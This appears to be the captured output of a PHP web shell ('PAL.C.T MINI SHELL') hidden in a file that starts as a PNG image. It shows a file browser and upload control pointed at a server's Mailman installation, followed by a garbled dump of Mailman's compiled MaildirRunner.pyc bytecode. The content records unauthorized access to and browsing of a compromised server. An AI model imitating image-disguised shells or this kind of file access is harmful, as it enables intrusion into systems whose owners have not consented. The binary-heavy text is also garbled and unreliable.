php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/Mailman/Queue/
upload
files >> //usr/lib/mailman/Mailman/Queue/MaildirRunner.pyc

Pc@sdZddkZddkZddkZddklZddklZddkl	Z	ddkl
Z
ddklZddk
lZdd	klZdd
klZeideieiBZdefd
YZdS(sMaildir pre-queue runner.

Most MTAs can be configured to deliver messages to a `Maildir'[1].  This
runner will read messages from a maildir's new/ directory and inject them into
Mailman's qfiles/in directory for processing in the normal pipeline.  This
delivery mechanism contrasts with mail program delivery, where incoming
messages end up in qfiles/in via the MTA executing the scripts/post script
(and likewise for the other -aliases for each mailing list).

The advantage to Maildir delivery is that it is more efficient; there's no
need to fork an intervening program just to take the message from the MTA's
standard output, to the qfiles/in directory.

[1] http://cr.yp.to/proto/maildir.html

We're going to use the :info flag == 1, experimental status flag for our own
purposes.  The :1 can be followed by one of these letters:

- P means that MaildirRunner's in the process of parsing and enqueuing the
  message.  If successful, it will delete the file.

- X means something failed during the parse/enqueue phase.  An error message
  will be logged to log/error and the file will be renamed <filename>:1,X.
  MaildirRunner will never automatically return to this file, but once the
  problem is fixed, you can manually move the file back to the new/ directory
  and MaildirRunner will attempt to re-process it.  At some point we may do
  this automatically.

See the variable USE_MAILDIR in Defaults.py.in for enabling this delivery
mechanism.
iN(tParser(t	parseaddr(tmm_cfg(tUtils(tMessage(tRunner(tget_switchboard(tsyslogs
 ^                        # start of string
 (?P<listname>[^+@]+?)    # listname@ or listname-subq@ (non-greedy)
 (?:                      # non-grouping
   -                      # dash separator
   (?P<subq>              # any known suffix
     admin|
     bounces|
     confirm|
     join|
     leave|
     owner|
     request|
     subscribe|
     unsubscribe
   )
 )?                       # if it exists
 [+@]                     # followed by + or @
 t
MaildirRunnercBs)eZdddZdZdZRS(icCsRd|_tiitid|_tiitid|_tt	|_
dS(Nitnewtcur(t_stoptostpathtjoinRtMAILDIR_DIRt_dirt_curRRt_parser(tselftslicet	numslices((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Queue/MaildirRunner.pyt__init__`s	cCsti}yti|i}Wn0tj
o$}|itijondSXx|D]w}tii	|i|}tii	|i
|d}tii	|i
|d}yti||WnBtj
o6}|itijoq\ntdd|nXyt
|}z|ii|}	Wd|iXg}
x'd D]}|
i|	i|gqKWx|
D]k}t|d	}
|
pqunti|
}|pqun|id
d\}}||joPququWtdd|ti||w\h|d
6}|d!jotti}nG|djod	|d<tti}n|d"jod	|d<tti}n|d#jod	|d<tti}n|djoD|ihd	d6tidd
d6tid6tti}nx|djod	|d<tti}nN|djod	|d<tti}n$tdd|ti||w\|i |	|ti!|Wq\t"j
o,}ti||tdt#|q\Xq\WdS($Nis:1,Ps:1,Xterrors!Could not rename maildir file: %ssdelivered-tosenvelope-tos
apparently-toitlistnametsubqs'Message apparently not for any list: %stbouncestadmintconfirmt	toconfirmRt	subscribettojointleavetunsubscribettoleavetownerttoownertextrat	envsendertpipelinettolisttrequestt	torequestsUnknown sub-queue: %s(sdelivered-tosenvelope-tos
apparently-to(RR(sjoinR(R R!($Rt
list_namesRtlistdirRtOSErrorterrnotENOENTR
RRtrenameRtopenRtparsetclosetextendtget_allRtlretmatchtgroupRRtBOUNCEQUEUE_DIRtCMDQUEUE_DIRtupdatetget_site_emailtOWNER_PIPELINEtINQUEUE_DIRtNonetenqueuetunlinkt	Exceptiontstr(Rt	listnamestfilestetfiletsrcnametdstnametxdstnametfptmsgtvalstheadertfieldttotmoRRtmsgdatatqueue((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Queue/MaildirRunner.pyt_oneloophs
		








	



cCsdS(N((R((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Queue/MaildirRunner.pyt_cleanupsN(t__name__t
__module__R?RRTRU(((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Queue/MaildirRunner.pyRZs	[(t__doc__RtreR.temail.ParserRtemail.UtilsRtMailmanRRtMailman.MessageRtMailman.Queue.RunnerRtMailman.Queue.sbcacheRtMailman.Logging.SyslogRtcompiletVERBOSEt
IGNORECASER6R(((sd/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Queue/MaildirRunner.pyt<module>0s
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`